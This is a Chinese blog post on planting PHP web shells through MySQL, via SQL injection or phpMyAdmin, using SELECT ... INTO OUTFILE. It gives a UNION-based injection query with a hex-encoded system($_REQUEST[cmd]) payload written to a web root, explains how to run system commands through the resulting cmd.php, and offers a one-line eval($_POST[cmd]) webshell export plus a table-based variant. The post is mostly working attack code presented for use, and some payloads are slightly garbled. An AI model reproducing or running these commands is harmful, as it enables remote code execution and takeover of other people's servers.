mysql创建木马_Mysql的语句生成后门木马的方法

咳咳,大家看看就好了,本人不负责所产生的后果

select * from `vbb_strikes` where 1 union select 2,3,0x3c3f7068702073797374656d28245f524551554553545b636d645d293b3f3e from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php'

通过mysql 的注入或者在 phpmyadmin 里运行以上语句,则会c:/inetpub/wwwroot/下生成 cmd.php 文件,内容为原来的 vbb_strikes 内容,后面紧跟着:2 3 <?php system($_request[cmd]);?>

再通过 http://www.xxx.com/cmd.php?cmd=dir c: 就可以执行系统dos命令!

哪串0x3c3f7068702073797374656d28245f524551554553545b636d645d293b3f3e是什么东西?

就是<?php system($_request[cmd]);?>的十六进制编码了,如果不用这种方法,有不同的sql版本会出现其它的编码:如%xx之类的, 哪这个后门就不能执行的了!如果你有其它语名要弄,可以到ultraedit里输入,再按[ctrl+h]键,将里面的十六进制连在一起就可以了!

浅谈mysql导出一句话木马拿webshell的方法-只需要一句sql

昨天看一篇文章中说到mysql导出一句话木马拿webshell的方法。

文章中用到的sql语句大体如下(命令行或者其它能执行sql命令的shell都行):

drop table if exists temp; //如果存在temp就删掉

create table temp(cmd text not null); //建立temp表,里面就一个cmd字段

insert into temp (cmd) values(''); //把一句话木马插入到temp表

select cmd from temp into out file 'f:/wwwroot/eval.php'; //查询temp表中的一句话并把结果导入到eval.php

drop table if exists temp; //删除temp(擦屁股o(∩_∩)o...)

这几句sql很简单,我做了简单的注释。

不过想想我们在测试php的sql漏洞的时候经常用如下的语句:

/**/union select 1,2,3,4,5,6,7,8,9,10,11,12/*

然后返回的页面中可能会出现1~12之间的数字。这里加入数字3显示出来了。

如果我们把上面这句改成/**/union select 1,2,'zerosoul',4,5,6,7,8,9,10,11,12/*,则返回页面上次显示3的地方会显示zerosoul。

也就是说如果我们的select语句后面不带from table语句的话,我们说查询的数字或字符会直接返回到查询结果里。

既然这样,我们为何还要那么麻烦去建一个表,先导入数据,再导出这样折腾呢。

有了这个思路,上面那一大段到出一句话的sql代码可以直接简化到一句:

select ' php eval($_post[cmd]);?>' into outfile 'f:/wwwroot/eval.php';

这样做不但简单明了,而且避免了误删别人的数据。以上所述就是本文的全部内容了,希望大家能够喜欢。

如您对本文有疑问或者有任何想说的,请点击进行留言回复,万千网友为您解惑!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值